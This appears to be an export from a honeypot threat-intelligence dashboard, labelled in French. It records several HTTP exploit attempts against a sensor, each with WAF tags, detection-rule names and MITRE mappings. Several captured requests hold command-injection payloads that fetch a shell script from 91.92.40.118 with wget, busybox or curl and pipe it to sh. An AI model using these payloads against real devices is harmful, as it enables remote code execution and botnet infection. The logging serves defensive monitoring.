"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 60,
"tag_count": 10,
"anomaly_count": 1,
"campaign_key": "86edc1121ce6e69577a4766b6494c1ef34c5a689",
"event_fingerprint": "f75b26147aac0be0988902af704b8b4765b0f628",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"confidence": 0.59,
"classification_confidence": 0.59,
"precision_score": 70,
"precision_signals": [
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 59,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "6888d4cf0873fac59d0818f5ef709ce7",
"path_pattern_hash": "20f2897c9454ee67b73f470dc30b2106"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 60
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20billion%60",
"query_string": "syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20billion%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20billion%60 HTTP\/1.1",
"payload_snippet": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20billion%60",
"query_string": "syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20billion%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20billion%60 HTTP\/1.1",
"request_sample": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20billion%60 HTTP\/1.",
"payload_snippet": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "eab94d62e7b96093ace63cd86005390112968b89",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20bi\u2026",
"request_line": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20h\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"classification_reason_label_fr": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 59 % \u2014 via HTTP",
"confidence_pct": 59,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 60
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100-sub"
],
"tags_summary_labels_fr": [
"CRS-930100-sub"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20bi\u2026",
"request_line": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20h\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20\u2026",
"evidence_snippet": "GET \/adv_remotelog.asp?syslogServerAddr=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 59 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 59 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"net_web_probe"
]
}
11/07/2026 23:49:13 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/makeRequest.cgi
Élevée
Moyen · 63
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /cgi-bin/makeRequest.cgi
Émulateur
HTTP
WAF
20
Recommandation
Investiguer
Tags
950327:rce-0
950347:rce-5
950468:nosqli-3
http_cmd_injection
Cible HTTP
POST
/cgi-bin/makeRequest.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/cgi-bin/makeRequest.cgi
Pourquoi cette classification : Injection de commande (tag rce-0) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 63
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
Http Cmdi
pat-0775
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932120 pipe chain
CRS 932205
Ligne de requête
POST /cgi-bin/makeRequest.cgi HTTP/1.1
User-Agent
—
Règles WAF
rce-0
rce-5
nosqli-3
Payload (extrait)
POST /cgi-bin/makeRequest.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length:
Requête brute (extrait)
POST /cgi-bin/makeRequest.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 32 Connection: close date=wget 91.92.40.118/r|sh -s w
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "2987d81543152395f8d92ae32869bdb75f8740c3",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 185,
"payload_entropy": 5.201922631527612,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 88,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 88,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 63,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "724d4c1628df264ccc9523b112ab1e7088984a92",
"event_fingerprint": "8490f84ad3b5dc0942f79e940b7c552d01bdce91",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 224,
"precision_signals": [
"INT-http_cmdi",
"pat-0775",
"pat-0146"
],
"kb_rule_ids": [
"INT-http_cmdi",
"pat-0775",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0775",
"pat-0146"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932120 pipe chain",
"CRS 932205"
],
"pattern_ids": [
"pat-0842",
"pat-0775",
"pat-0146"
],
"confidence_breakdown": {
"waf": 88,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 63
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "b72d9c923e41800c313fb48dec4f2446",
"path_pattern_hash": "9e07efe7b4bc2ac9c18d5d90eb43e4ff"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 63
},
"payload_preview": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: ",
"method": "POST",
"path": "\/cgi-bin\/makeRequest.cgi",
"waf_tags": [
"950327:rce-0",
"950347:rce-5",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-5",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 32\r\nConnection: close\r\n\r\ndate=wget 91.92.40.118\/r|sh -s w",
"payload_snippet": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length:",
"evidence": {
"method": "POST",
"path": "\/cgi-bin\/makeRequest.cgi",
"waf_tags": [
"950327:rce-0",
"950347:rce-5",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"rce-5",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 32\r\nConnection: close\r\n\r\ndate=wget 91.92.40.118\/r|sh -s w",
"payload_snippet": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length:",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "5ad6abcc6e201e09c28ae11eea2e19a32d785d31",
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/makeRequest.cgi",
"request_line": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length:",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/makeRequest.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag rce-0) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag rce-0) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 63\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 88,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 63
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 63,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_cmdi",
"pat-0775",
"pat-0146"
],
"tags_summary_labels_fr": [
"Http Cmdi",
"pat-0775",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/makeRequest.cgi",
"request_line": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/makeRequest.cgi",
"evidence_snippet": "POST \/cgi-bin\/makeRequest.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length:",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 88 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950327:rce-0",
"950347:rce-5",
"950468:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:13 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /edgserver/capture_packages
Élevée
Moyen · 54
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
GET /edgserver/capture_packages
Émulateur
HTTP
WAF
13
Recommandation
Investiguer
Tags
950325:rce-0
950468:nosqli-3
http_no_ua
net_web_probe
Cible HTTP
GET
/edgserver/capture_packages
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/edgserver/capture_packages
Pourquoi cette classification : Injection de commande (tag rce-0) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
pat-0773
pat-0775
pat-0144
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932190
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Ligne de requête
GET /edgserver/capture_packages?param=`cd HTTP/1.1
User-Agent
—
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /edgserver/capture_packages?param=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s advan;busybox wget http://91.92.40.118
Requête brute (extrait)
GET /edgserver/capture_packages?param=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s advan;busybox wget http://91.92.40.118/wget.sh -O-|sh -s advan;curl http://91.92.40.118/wget.sh|sh -s advan` HTTP/1.1 Host: 62.3.50.33:8081 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "d14b3144d73f134ea5e298d00aee729658189c84",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 253,
"payload_entropy": 5.179429121905999,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 60,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 54,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "e3bc3154d7268828ac1b65fa0908b5b346a337a1",
"event_fingerprint": "febd7d8eb2a9255d39d8de307f8db2a263cf91c8",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 514,
"precision_signals": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932190",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103"
],
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 54
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5bcb3407c16a1391621bbba71e2dfd89",
"path_pattern_hash": "f53c505b8189dcd6ba06b06234c7e209"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 54
},
"payload_preview": "GET \/edgserver\/capture_packages?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;busybox wget http:\/\/91.92.40.118",
"method": "GET",
"path": "\/edgserver\/capture_packages",
"query_string": "param=`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/edgserver\/capture_packages?param=`cd HTTP\/1.1",
"request_sample": "GET \/edgserver\/capture_packages?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;curl http:\/\/91.92.40.118\/wget.sh|sh -s advan` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/edgserver\/capture_packages?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;busybox wget http:\/\/91.92.40.118",
"evidence": {
"method": "GET",
"path": "\/edgserver\/capture_packages",
"query_string": "param=`cd",
"waf_tags": [
"950325:rce-0",
"950468:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/edgserver\/capture_packages?param=`cd HTTP\/1.1",
"request_sample": "GET \/edgserver\/capture_packages?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;curl http:\/\/91.92.40.118\/wget.sh|sh -s advan` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/edgserver\/capture_packages?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;busybox wget http:\/\/91.92.40.118",
"classification_reason": "Injection de commande (tag rce-0) \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "5e950deed62e297b52951581fd9b6575f33f9850",
"protocol_details": {
"http_method": "GET",
"http_path": "\/edgserver\/capture_packages",
"request_line": "GET \/edgserver\/capture_packages?param=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/edgserver\/capture_packages?param=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s advan;busybox wget http:\/\/91.92.40.118",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/edgserver\/capture_packages",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag rce-0) \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag rce-0) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 54\/100 (Moyen) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 60,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 54
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 54,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"pat-0773",
"pat-0775",
"pat-0144"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
